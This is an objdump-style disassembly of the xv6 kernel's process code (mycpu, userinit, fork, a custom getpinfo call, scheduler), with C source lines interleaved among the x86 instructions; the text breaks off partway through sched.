initlog(ROOTDEV); 801036d4: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801036db: e8 c0 f3 ff ff call 80102aa0 <initlog> 801036e0: 83 c4 10 add $0x10,%esp } // Return to "caller", actually trapret (see allocproc). } 801036e3: c9 leave 801036e4: c3 ret 801036e5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801036e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801036f0 <pinit>: extern void trapret(void); static void wakeup1(void *chan); void pinit(void) { 801036f0: 55 push %ebp 801036f1: 89 e5 mov %esp,%ebp 801036f3: 83 ec 10 sub $0x10,%esp initlock(&ptable.lock, "ptable"); 801036f6: 68 75 78 10 80 push $0x80107875 801036fb: 68 00 29 11 80 push $0x80112900 80103700: e8 2b 0e 00 00 call 80104530 <initlock> } 80103705: 83 c4 10 add $0x10,%esp 80103708: c9 leave 80103709: c3 ret 8010370a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103710 <mycpu>: } // Must be called with interrupts disabled to avoid the caller being // rescheduled between reading lapicid and running through the loop. struct cpu *mycpu(void) { 80103710: 55 push %ebp 80103711: 89 e5 mov %esp,%ebp 80103713: 83 ec 08 sub $0x8,%esp static inline uint readeflags(void) { uint eflags; asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103716: 9c pushf 80103717: 58 pop %eax int apicid, i; if (readeflags() & FL_IF) 80103718: f6 c4 02 test $0x2,%ah 8010371b: 75 5a jne 80103777 <mycpu+0x67> panic("mycpu called with interrupts enabled\n"); apicid = lapicid(); 8010371d: e8 be ef ff ff call 801026e0 <lapicid> // APIC IDs are not guaranteed to be contiguous. Maybe we should have // a reverse map, or reserve a register to store &cpus[i]. for (i = 0; i < ncpu; ++i) 80103722: 8b 15 e0 28 11 80 mov 0x801128e0,%edx 80103728: 85 d2 test %edx,%edx 8010372a: 7e 1b jle 80103747 <mycpu+0x37> { if (cpus[i].apicid == apicid) 8010372c: 0f b6 0d 80 27 11 80 movzbl 0x80112780,%ecx 80103733: 39 c8 cmp %ecx,%eax 80103735: 74 21 je 80103758 <mycpu+0x48> panic("mycpu called with interrupts enabled\n"); apicid = lapicid(); // APIC IDs are not guaranteed to be contiguous. Maybe we should have // a reverse map, or reserve a register to store &cpus[i]. for (i = 0; i < ncpu; ++i) 80103737: 83 fa 01 cmp $0x1,%edx 8010373a: 74 0b je 80103747 <mycpu+0x37> { if (cpus[i].apicid == apicid) 8010373c: 0f b6 15 30 28 11 80 movzbl 0x80112830,%edx 80103743: 39 d0 cmp %edx,%eax 80103745: 74 29 je 80103770 <mycpu+0x60> return &cpus[i]; } panic("unknown apicid\n"); 80103747: 83 ec 0c sub $0xc,%esp 8010374a: 68 7c 78 10 80 push $0x8010787c 8010374f: e8 1c cc ff ff call 80100370 <panic> 80103754: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi panic("mycpu called with interrupts enabled\n"); apicid = lapicid(); // APIC IDs are not guaranteed to be contiguous. Maybe we should have // a reverse map, or reserve a register to store &cpus[i]. for (i = 0; i < ncpu; ++i) 80103758: 31 c0 xor %eax,%eax { if (cpus[i].apicid == apicid) return &cpus[i]; 8010375a: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax } panic("unknown apicid\n"); } 80103760: c9 leave // APIC IDs are not guaranteed to be contiguous. Maybe we should have // a reverse map, or reserve a register to store &cpus[i]. for (i = 0; i < ncpu; ++i) { if (cpus[i].apicid == apicid) return &cpus[i]; 80103761: 05 80 27 11 80 add $0x80112780,%eax } panic("unknown apicid\n"); } 80103766: c3 ret 80103767: 89 f6 mov %esi,%esi 80103769: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi panic("mycpu called with interrupts enabled\n"); apicid = lapicid(); // APIC IDs are not guaranteed to be contiguous. Maybe we should have // a reverse map, or reserve a register to store &cpus[i]. for (i = 0; i < ncpu; ++i) 80103770: b8 01 00 00 00 mov $0x1,%eax 80103775: eb e3 jmp 8010375a <mycpu+0x4a> struct cpu *mycpu(void) { int apicid, i; if (readeflags() & FL_IF) panic("mycpu called with interrupts enabled\n"); 80103777: 83 ec 0c sub $0xc,%esp 8010377a: 68 78 79 10 80 push $0x80107978 8010377f: e8 ec cb ff ff call 80100370 <panic> 80103784: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010378a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80103790 <cpuid>: initlock(&ptable.lock, "ptable"); } // Must be called with interrupts disabled int cpuid() { 80103790: 55 push %ebp 80103791: 89 e5 mov %esp,%ebp 80103793: 83 ec 08 sub $0x8,%esp return mycpu() - cpus; 80103796: e8 75 ff ff ff call 80103710 <mycpu> 8010379b: 2d 80 27 11 80 sub $0x80112780,%eax } 801037a0: c9 leave } // Must be called with interrupts disabled int cpuid() { return mycpu() - cpus; 801037a1: c1 f8 04 sar $0x4,%eax 801037a4: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax } 801037aa: c3 ret 801037ab: 90 nop 801037ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801037b0 <myproc>: } // Disable interrupts so that we are not rescheduled // while reading proc from the cpu structure struct proc *myproc(void) { 801037b0: 55 push %ebp 801037b1: 89 e5 mov %esp,%ebp 801037b3: 53 push %ebx 801037b4: 83 ec 04 sub $0x4,%esp struct cpu *c; struct proc *p; pushcli(); 801037b7: e8 f4 0d 00 00 call 801045b0 <pushcli> c = mycpu(); 801037bc: e8 4f ff ff ff call 80103710 <mycpu> p = c->proc; 801037c1: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 801037c7: e8 24 0e 00 00 call 801045f0 <popcli> return p; } 801037cc: 83 c4 04 add $0x4,%esp 801037cf: 89 d8 mov %ebx,%eax 801037d1: 5b pop %ebx 801037d2: 5d pop %ebp 801037d3: c3 ret 801037d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801037da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801037e0 <userinit>: } //PAGEBREAK: 32 // Set up first user process. void userinit(void) { 801037e0: 55 push %ebp 801037e1: 89 e5 mov %esp,%ebp 801037e3: 53 push %ebx 801037e4: 83 ec 04 sub $0x4,%esp struct proc *p; extern char _binary_initcode_start[], _binary_initcode_size[]; p = allocproc(); 801037e7: e8 b4 fd ff ff call 801035a0 <allocproc> 801037ec: 89 c3 mov %eax,%ebx initproc = p; 801037ee: a3 b8 a5 10 80 mov %eax,0x8010a5b8 if ((p->pgdir = setupkvm()) == 0) 801037f3: e8 68 38 00 00 call 80107060 <setupkvm> 801037f8: 85 c0 test %eax,%eax 801037fa: 89 43 04 mov %eax,0x4(%ebx) 801037fd: 0f 84 bd 00 00 00 je 801038c0 <userinit+0xe0> panic("userinit: out of memory?"); inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size); 80103803: 83 ec 04 sub $0x4,%esp 80103806: 68 2c 00 00 00 push $0x2c 8010380b: 68 60 a4 10 80 push $0x8010a460 80103810: 50 push %eax 80103811: e8 5a 35 00 00 call 80106d70 <inituvm> p->sz = PGSIZE; //p->stime = ticks; // newly added memset(p->tf, 0, sizeof(*p->tf)); 80103816: 83 c4 0c add $0xc,%esp initproc = p; if ((p->pgdir = setupkvm()) == 0) panic("userinit: out of memory?"); inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size); p->sz = PGSIZE; 80103819: c7 03 00 10 00 00 movl $0x1000,(%ebx) //p->stime = ticks; // newly added memset(p->tf, 0, sizeof(*p->tf)); 8010381f: 6a 4c push $0x4c 80103821: 6a 00 push $0x0 80103823: ff 73 18 pushl 0x18(%ebx) 80103826: e8 65 0f 00 00 call 80104790 <memset> p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 8010382b: 8b 43 18 mov 0x18(%ebx),%eax 8010382e: ba 1b 00 00 00 mov $0x1b,%edx p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 80103833: b9 23 00 00 00 mov $0x23,%ecx p->tf->ss = p->tf->ds; p->tf->eflags = FL_IF; p->tf->esp = PGSIZE; p->tf->eip = 0; // beginning of initcode.S safestrcpy(p->name, "initcode", sizeof(p->name)); 80103838: 83 c4 0c add $0xc,%esp p->sz = PGSIZE; //p->stime = ticks; // newly added memset(p->tf, 0, sizeof(*p->tf)); p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 8010383b: 66 89 50 3c mov %dx,0x3c(%eax) p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 8010383f: 8b 43 18 mov 0x18(%ebx),%eax 80103842: 66 89 48 2c mov %cx,0x2c(%eax) p->tf->es = p->tf->ds; 80103846: 8b 43 18 mov 0x18(%ebx),%eax 80103849: 0f b7 50 2c movzwl 0x2c(%eax),%edx 8010384d: 66 89 50 28 mov %dx,0x28(%eax) p->tf->ss = p->tf->ds; 80103851: 8b 43 18 mov 0x18(%ebx),%eax 80103854: 0f b7 50 2c movzwl 0x2c(%eax),%edx 80103858: 66 89 50 48 mov %dx,0x48(%eax) p->tf->eflags = FL_IF; 8010385c: 8b 43 18 mov 0x18(%ebx),%eax 8010385f: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax) p->tf->esp = PGSIZE; 80103866: 8b 43 18 mov 0x18(%ebx),%eax 80103869: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax) p->tf->eip = 0; // beginning of initcode.S 80103870: 8b 43 18 mov 0x18(%ebx),%eax 80103873: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax) safestrcpy(p->name, "initcode", sizeof(p->name)); 8010387a: 8d 43 6c lea 0x6c(%ebx),%eax 8010387d: 6a 10 push $0x10 8010387f: 68 a5 78 10 80 push $0x801078a5 80103884: 50 push %eax 80103885: e8 06 11 00 00 call 80104990 <safestrcpy> p->cwd = namei("/"); 8010388a: c7 04 24 ae 78 10 80 movl $0x801078ae,(%esp) 80103891: e8 1a e6 ff ff call 80101eb0 <namei> 80103896: 89 43 68 mov %eax,0x68(%ebx) // this assignment to p->state lets other cores // run this process. the acquire forces the above // writes to be visible, and the lock is also needed // because the assignment might not be atomic. acquire(&ptable.lock); 80103899: c7 04 24 00 29 11 80 movl $0x80112900,(%esp) 801038a0: e8 eb 0d 00 00 call 80104690 <acquire> p->state = RUNNABLE; 801038a5: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx) release(&ptable.lock); 801038ac: c7 04 24 00 29 11 80 movl $0x80112900,(%esp) 801038b3: e8 88 0e 00 00 call 80104740 <release> } 801038b8: 83 c4 10 add $0x10,%esp 801038bb: 8b 5d fc mov -0x4(%ebp),%ebx 801038be: c9 leave 801038bf: c3 ret p = allocproc(); initproc = p; if ((p->pgdir = setupkvm()) == 0) panic("userinit: out of memory?"); 801038c0: 83 ec 0c sub $0xc,%esp 801038c3: 68 8c 78 10 80 push $0x8010788c 801038c8: e8 a3 ca ff ff call 80100370 <panic> 801038cd: 8d 76 00 lea 0x0(%esi),%esi 801038d0 <growproc>: } // Grow current process's memory by n bytes. // Return 0 on success, -1 on failure. int growproc(int n) { 801038d0: 55 push %ebp 801038d1: 89 e5 mov %esp,%ebp 801038d3: 56 push %esi 801038d4: 53 push %ebx 801038d5: 8b 75 08 mov 0x8(%ebp),%esi // while reading proc from the cpu structure struct proc *myproc(void) { struct cpu *c; struct proc *p; pushcli(); 801038d8: e8 d3 0c 00 00 call 801045b0 <pushcli> c = mycpu(); 801038dd: e8 2e fe ff ff call 80103710 <mycpu> p = c->proc; 801038e2: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 801038e8: e8 03 0d 00 00 call 801045f0 <popcli> { uint sz; struct proc *curproc = myproc(); sz = curproc->sz; if (n > 0) 801038ed: 83 fe 00 cmp $0x0,%esi int growproc(int n) { uint sz; struct proc *curproc = myproc(); sz = curproc->sz; 801038f0: 8b 03 mov (%ebx),%eax if (n > 0) 801038f2: 7e 34 jle 80103928 <growproc+0x58> { if ((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0) 801038f4: 83 ec 04 sub $0x4,%esp 801038f7: 01 c6 add %eax,%esi 801038f9: 56 push %esi 801038fa: 50 push %eax 801038fb: ff 73 04 pushl 0x4(%ebx) 801038fe: e8 ad 35 00 00 call 80106eb0 <allocuvm> 80103903: 83 c4 10 add $0x10,%esp 80103906: 85 c0 test %eax,%eax 80103908: 74 36 je 80103940 <growproc+0x70> { if ((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0) return -1; } curproc->sz = sz; switchuvm(curproc); 8010390a: 83 ec 0c sub $0xc,%esp else if (n < 0) { if ((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0) return -1; } curproc->sz = sz; 8010390d: 89 03 mov %eax,(%ebx) switchuvm(curproc); 8010390f: 53 push %ebx 80103910: e8 4b 33 00 00 call 80106c60 <switchuvm> return 0; 80103915: 83 c4 10 add $0x10,%esp 80103918: 31 c0 xor %eax,%eax } 8010391a: 8d 65 f8 lea -0x8(%ebp),%esp 8010391d: 5b pop %ebx 8010391e: 5e pop %esi 8010391f: 5d pop %ebp 80103920: c3 ret 80103921: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if (n > 0) { if ((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0) return -1; } else if (n < 0) 80103928: 74 e0 je 8010390a <growproc+0x3a> { if ((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0) 8010392a: 83 ec 04 sub $0x4,%esp 8010392d: 01 c6 add %eax,%esi 8010392f: 56 push %esi 80103930: 50 push %eax 80103931: ff 73 04 pushl 0x4(%ebx) 80103934: e8 77 36 00 00 call 80106fb0 <deallocuvm> 80103939: 83 c4 10 add $0x10,%esp 8010393c: 85 c0 test %eax,%eax 8010393e: 75 ca jne 8010390a <growproc+0x3a> sz = curproc->sz; if (n > 0) { if ((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0) return -1; 80103940: b8 ff ff ff ff mov $0xffffffff,%eax 80103945: eb d3 jmp 8010391a <growproc+0x4a> 80103947: 89 f6 mov %esi,%esi 80103949: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103950 <fork>: // Create a new process copying p as the parent. // Sets up stack to return as if from system call. // Caller must set state of returned proc to RUNNABLE. int fork(void) { 80103950: 55 push %ebp 80103951: 89 e5 mov %esp,%ebp 80103953: 57 push %edi 80103954: 56 push %esi 80103955: 53 push %ebx 80103956: 83 ec 1c sub $0x1c,%esp // while reading proc from the cpu structure struct proc *myproc(void) { struct cpu *c; struct proc *p; pushcli(); 80103959: e8 52 0c 00 00 call 801045b0 <pushcli> c = mycpu(); 8010395e: e8 ad fd ff ff call 80103710 <mycpu> p = c->proc; 80103963: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103969: e8 82 0c 00 00 call 801045f0 <popcli> int i, pid; struct proc *np; struct proc *curproc = myproc(); // Allocate process. if ((np = allocproc()) == 0) 8010396e: e8 2d fc ff ff call 801035a0 <allocproc> 80103973: 85 c0 test %eax,%eax 80103975: 89 c7 mov %eax,%edi 80103977: 89 45 e4 mov %eax,-0x1c(%ebp) 8010397a: 0f 84 b5 00 00 00 je 80103a35 <fork+0xe5> { return -1; } // Copy process state from proc. if ((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0) 80103980: 83 ec 08 sub $0x8,%esp 80103983: ff 33 pushl (%ebx) 80103985: ff 73 04 pushl 0x4(%ebx) 80103988: e8 a3 37 00 00 call 80107130 <copyuvm> 8010398d: 83 c4 10 add $0x10,%esp 80103990: 85 c0 test %eax,%eax 80103992: 89 47 04 mov %eax,0x4(%edi) 80103995: 0f 84 a1 00 00 00 je 80103a3c <fork+0xec> kfree(np->kstack); np->kstack = 0; np->state = UNUSED; return -1; } np->sz = curproc->sz; 8010399b: 8b 03 mov (%ebx),%eax 8010399d: 8b 4d e4 mov -0x1c(%ebp),%ecx 801039a0: 89 01 mov %eax,(%ecx) np->parent = curproc; 801039a2: 89 59 14 mov %ebx,0x14(%ecx) *np->tf = *curproc->tf; 801039a5: 89 c8 mov %ecx,%eax 801039a7: 8b 79 18 mov 0x18(%ecx),%edi 801039aa: 8b 73 18 mov 0x18(%ebx),%esi 801039ad: b9 13 00 00 00 mov $0x13,%ecx 801039b2: f3 a5 rep movsl %ds:(%esi),%es:(%edi) // Clear %eax so that fork returns 0 in the child. np->tf->eax = 0; for (i = 0; i < NOFILE; i++) 801039b4: 31 f6 xor %esi,%esi np->sz = curproc->sz; np->parent = curproc; *np->tf = *curproc->tf; // Clear %eax so that fork returns 0 in the child. np->tf->eax = 0; 801039b6: 8b 40 18 mov 0x18(%eax),%eax 801039b9: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax) for (i = 0; i < NOFILE; i++) if (curproc->ofile[i]) 801039c0: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax 801039c4: 85 c0 test %eax,%eax 801039c6: 74 13 je 801039db <fork+0x8b> np->ofile[i] = filedup(curproc->ofile[i]); 801039c8: 83 ec 0c sub $0xc,%esp 801039cb: 50 push %eax 801039cc: e8 0f d4 ff ff call 80100de0 <filedup> 801039d1: 8b 55 e4 mov -0x1c(%ebp),%edx 801039d4: 83 c4 10 add $0x10,%esp 801039d7: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4) *np->tf = *curproc->tf; // Clear %eax so that fork returns 0 in the child. np->tf->eax = 0; for (i = 0; i < NOFILE; i++) 801039db: 83 c6 01 add $0x1,%esi 801039de: 83 fe 10 cmp $0x10,%esi 801039e1: 75 dd jne 801039c0 <fork+0x70> if (curproc->ofile[i]) np->ofile[i] = filedup(curproc->ofile[i]); np->cwd = idup(curproc->cwd); 801039e3: 83 ec 0c sub $0xc,%esp 801039e6: ff 73 68 pushl 0x68(%ebx) safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 801039e9: 83 c3 6c add $0x6c,%ebx np->tf->eax = 0; for (i = 0; i < NOFILE; i++) if (curproc->ofile[i]) np->ofile[i] = filedup(curproc->ofile[i]); np->cwd = idup(curproc->cwd); 801039ec: e8 3f dc ff ff call 80101630 <idup> 801039f1: 8b 7d e4 mov -0x1c(%ebp),%edi safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 801039f4: 83 c4 0c add $0xc,%esp np->tf->eax = 0; for (i = 0; i < NOFILE; i++) if (curproc->ofile[i]) np->ofile[i] = filedup(curproc->ofile[i]); np->cwd = idup(curproc->cwd); 801039f7: 89 47 68 mov %eax,0x68(%edi) safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 801039fa: 8d 47 6c lea 0x6c(%edi),%eax 801039fd: 6a 10 push $0x10 801039ff: 53 push %ebx 80103a00: 50 push %eax 80103a01: e8 8a 0f 00 00 call 80104990 <safestrcpy> pid = np->pid; 80103a06: 8b 5f 10 mov 0x10(%edi),%ebx acquire(&ptable.lock); 80103a09: c7 04 24 00 29 11 80 movl $0x80112900,(%esp) 80103a10: e8 7b 0c 00 00 call 80104690 <acquire> np->state = RUNNABLE; 80103a15: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi) release(&ptable.lock); 80103a1c: c7 04 24 00 29 11 80 movl $0x80112900,(%esp) 80103a23: e8 18 0d 00 00 call 80104740 <release> return pid; 80103a28: 83 c4 10 add $0x10,%esp 80103a2b: 89 d8 mov %ebx,%eax } 80103a2d: 8d 65 f4 lea -0xc(%ebp),%esp 80103a30: 5b pop %ebx 80103a31: 5e pop %esi 80103a32: 5f pop %edi 80103a33: 5d pop %ebp 80103a34: c3 ret struct proc *curproc = myproc(); // Allocate process. if ((np = allocproc()) == 0) { return -1; 80103a35: b8 ff ff ff ff mov $0xffffffff,%eax 80103a3a: eb f1 jmp 80103a2d <fork+0xdd> } // Copy process state from proc. if ((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0) { kfree(np->kstack); 80103a3c: 8b 7d e4 mov -0x1c(%ebp),%edi 80103a3f: 83 ec 0c sub $0xc,%esp 80103a42: ff 77 08 pushl 0x8(%edi) 80103a45: e8 86 e8 ff ff call 801022d0 <kfree> np->kstack = 0; 80103a4a: c7 47 08 00 00 00 00 movl $0x0,0x8(%edi) np->state = UNUSED; 80103a51: c7 47 0c 00 00 00 00 movl $0x0,0xc(%edi) return -1; 80103a58: 83 c4 10 add $0x10,%esp 80103a5b: b8 ff ff ff ff mov $0xffffffff,%eax 80103a60: eb cb jmp 80103a2d <fork+0xdd> 80103a62: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103a69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103a70 <getpinfo>: sleep(curproc, &ptable.lock); //DOC: wait-sleep } } int getpinfo(int id, struct proc_stat *process) { 80103a70: 55 push %ebp 80103a71: 89 e5 mov %esp,%ebp 80103a73: 56 push %esi 80103a74: 53 push %ebx 80103a75: 8b 75 0c mov 0xc(%ebp),%esi 80103a78: 8b 5d 08 mov 0x8(%ebp),%ebx } static inline void sti(void) { asm volatile("sti"); 80103a7b: fb sti struct proc *p; sti(); acquire(&ptable.lock); 80103a7c: 83 ec 0c sub $0xc,%esp 80103a7f: 68 00 29 11 80 push $0x80112900 80103a84: e8 07 0c 00 00 call 80104690 <acquire> 80103a89: 83 c4 10 add $0x10,%esp for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103a8c: b8 34 29 11 80 mov $0x80112934,%eax 80103a91: eb 11 jmp 80103aa4 <getpinfo+0x34> 80103a93: 90 nop 80103a94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103a98: 05 ac 00 00 00 add $0xac,%eax 80103a9d: 3d 34 54 11 80 cmp $0x80115434,%eax 80103aa2: 74 30 je 80103ad4 <getpinfo+0x64> { //cprintf("Process Id %d\n",p->pid); if (id == p->pid) 80103aa4: 39 58 10 cmp %ebx,0x10(%eax) 80103aa7: 75 ef jne 80103a98 <getpinfo+0x28> { process->pid = p->pid; 80103aa9: 89 1e mov %ebx,(%esi) process->runtime = p->rtime; 80103aab: 8b 80 84 00 00 00 mov 0x84(%eax),%eax //process -> num_run = p->num_run; cprintf("Process Id %d\n",process->pid); 80103ab1: 83 ec 08 sub $0x8,%esp { //cprintf("Process Id %d\n",p->pid); if (id == p->pid) { process->pid = p->pid; process->runtime = p->rtime; 80103ab4: 89 46 04 mov %eax,0x4(%esi) //process -> num_run = p->num_run; cprintf("Process Id %d\n",process->pid); 80103ab7: 53 push %ebx 80103ab8: 68 b0 78 10 80 push $0x801078b0 80103abd: e8 9e cb ff ff call 80100660 <cprintf> cprintf("Running Time %d\n",process->runtime); 80103ac2: 58 pop %eax 80103ac3: 5a pop %edx 80103ac4: ff 76 04 pushl 0x4(%esi) 80103ac7: 68 bf 78 10 80 push $0x801078bf 80103acc: e8 8f cb ff ff call 80100660 <cprintf> //flag = 1; break; 80103ad1: 83 c4 10 add $0x10,%esp } } release(&ptable.lock); 80103ad4: 83 ec 0c sub $0xc,%esp 80103ad7: 68 00 29 11 80 push $0x80112900 80103adc: e8 5f 0c 00 00 call 80104740 <release> // { // return 0; // } // } return 0; } 80103ae1: 8d 65 f8 lea -0x8(%ebp),%esp 80103ae4: 31 c0 xor %eax,%eax 80103ae6: 5b pop %ebx 80103ae7: 5e pop %esi 80103ae8: 5d pop %ebp 80103ae9: c3 ret 80103aea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103af0 <scheduler>: // - swtch to start running that process // - eventually that process transfers control // via swtch back to the scheduler. void scheduler(void) { 80103af0: 55 push %ebp 80103af1: 89 e5 mov %esp,%ebp 80103af3: 57 push %edi 80103af4: 56 push %esi 80103af5: 53 push %ebx 80103af6: 83 ec 0c sub $0xc,%esp struct proc *p; //struct proc *p1; struct cpu *c = mycpu(); 80103af9: e8 12 fc ff ff call 80103710 <mycpu> 80103afe: 8d 78 04 lea 0x4(%eax),%edi 80103b01: 89 c6 mov %eax,%esi c->proc = 0; 80103b03: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax) 80103b0a: 00 00 00 80103b0d: 8d 76 00 lea 0x0(%esi),%esi 80103b10: fb sti // c->proc = 0; // } #ifdef DEFAULT //cprintf("default\n"); acquire(&ptable.lock); 80103b11: 83 ec 0c sub $0xc,%esp for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103b14: bb 34 29 11 80 mov $0x80112934,%ebx // c->proc = 0; // } #ifdef DEFAULT //cprintf("default\n"); acquire(&ptable.lock); 80103b19: 68 00 29 11 80 push $0x80112900 80103b1e: e8 6d 0b 00 00 call 80104690 <acquire> 80103b23: 83 c4 10 add $0x10,%esp 80103b26: eb 16 jmp 80103b3e <scheduler+0x4e> 80103b28: 90 nop 80103b29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103b30: 81 c3 ac 00 00 00 add $0xac,%ebx 80103b36: 81 fb 34 54 11 80 cmp $0x80115434,%ebx 80103b3c: 74 52 je 80103b90 <scheduler+0xa0> { if (p->state != RUNNABLE) 80103b3e: 83 7b 0c 03 cmpl $0x3,0xc(%ebx) 80103b42: 75 ec jne 80103b30 <scheduler+0x40> { continue; } c->proc = p; switchuvm(p); 80103b44: 83 ec 0c sub $0xc,%esp { if (p->state != RUNNABLE) { continue; } c->proc = p; 80103b47: 89 9e ac 00 00 00 mov %ebx,0xac(%esi) switchuvm(p); 80103b4d: 53 push %ebx // } #ifdef DEFAULT //cprintf("default\n"); acquire(&ptable.lock); for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103b4e: 81 c3 ac 00 00 00 add $0xac,%ebx if (p->state != RUNNABLE) { continue; } c->proc = p; switchuvm(p); 80103b54: e8 07 31 00 00 call 80106c60 <switchuvm> p->state = RUNNING; //cprintf("Process %s with pid %d running\n", p->name, p->pid); swtch(&(c->scheduler), p->context); 80103b59: 58 pop %eax 80103b5a: 5a pop %edx 80103b5b: ff b3 70 ff ff ff pushl -0x90(%ebx) 80103b61: 57 push %edi { continue; } c->proc = p; switchuvm(p); p->state = RUNNING; 80103b62: c7 83 60 ff ff ff 04 movl $0x4,-0xa0(%ebx) 80103b69: 00 00 00 //cprintf("Process %s with pid %d running\n", p->name, p->pid); swtch(&(c->scheduler), p->context); 80103b6c: e8 7a 0e 00 00 call 801049eb <swtch> switchkvm(); 80103b71: e8 ca 30 00 00 call 80106c40 <switchkvm> //Process is done running for now. //It should have changed its p->state before coming back. c->proc = 0; 80103b76: 83 c4 10 add $0x10,%esp // } #ifdef DEFAULT //cprintf("default\n"); acquire(&ptable.lock); for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103b79: 81 fb 34 54 11 80 cmp $0x80115434,%ebx swtch(&(c->scheduler), p->context); switchkvm(); //Process is done running for now. //It should have changed its p->state before coming back. c->proc = 0; 80103b7f: c7 86 ac 00 00 00 00 movl $0x0,0xac(%esi) 80103b86: 00 00 00 // } #ifdef DEFAULT //cprintf("default\n"); acquire(&ptable.lock); for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103b89: 75 b3 jne 80103b3e <scheduler+0x4e> 80103b8b: 90 nop 80103b8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi //Process is done running for now. //It should have changed its p->state before coming back. c->proc = 0; } release(&ptable.lock); 80103b90: 83 ec 0c sub $0xc,%esp 80103b93: 68 00 29 11 80 push $0x80112900 80103b98: e8 a3 0b 00 00 call 80104740 <release> // //Process is done running for now. // //It should have changed its p->state before coming back. // c->proc = 0; // } // release(&ptable.lock); } 80103b9d: 83 c4 10 add $0x10,%esp 80103ba0: e9 6b ff ff ff jmp 80103b10 <scheduler+0x20> 80103ba5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103bb0 <sched>: // be proc->intena and proc->ncli, but that would // break in the few places where a lock is held but // there's no process. void sched(void) { 80103bb0: 55 push %ebp 80103bb1: 89 e5 mov %esp,%ebp 80103bb3: 56 push %esi 80103bb4: 53 push %ebx // while reading proc from the cpu structure struct proc *myproc(void) { struct cpu *c; struct proc *p; pushcli(); 80103bb5: e8 f6 09 00 00 call 801045b0 <pushcli> c = mycpu(); 80103bba: e8 51 fb ff ff call 80103710 <mycpu> p = c->proc; 80103bbf: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103bc5: e8 26 0a 00 00 call 801045f0 <popcli> void sched(void) { int intena; struct proc *p = myproc(); if (!holding(&ptable.lock)) 80103bca: 83 ec 0c sub $0xc,%esp 80103bcd: 68 00 29 11 80 push $0x80112900 80103bd2: e8 89 0a 00 00 call 80104660 <holding> 80103bd7: 83 c4 10 add $0x10,%esp 80103bda: 85 c0 test %eax,%eax 80103bdc: 74 4f je 80103c2d <sched+0x7d> panic("sched ptable.lock"); if (mycpu()->ncli != 1) 80103bde: e8 2d fb ff ff call 80103710 <mycpu> 80103be3: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax) 80103bea: 75 68 jne 80103c54 <sched+0xa4> panic("sched locks"); if (p->state == RUNNING) 80103bec: 83 7b 0c 04 cmpl $0x4,0xc(%ebx) 80103bf0: 74 55 je 80103c47 <sched+0x97> static inline uint readeflags(void) { uint eflags; asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103bf2: 9c pushf 80103bf3: 58 pop %eax panic("sched running"); if (readeflags() & FL_IF) 80103bf4: f6 c4 02 test $0x2,%ah 80103bf7: 75 41 jne 80103c3a <sched+0x8a> panic("sched interruptible"); intena = mycpu()->intena; 80103bf9: e8 12 fb ff ff call 80103710 <mycpu> swtch(&p->context, mycpu()->scheduler); 80103bfe: 83 c3 1c add 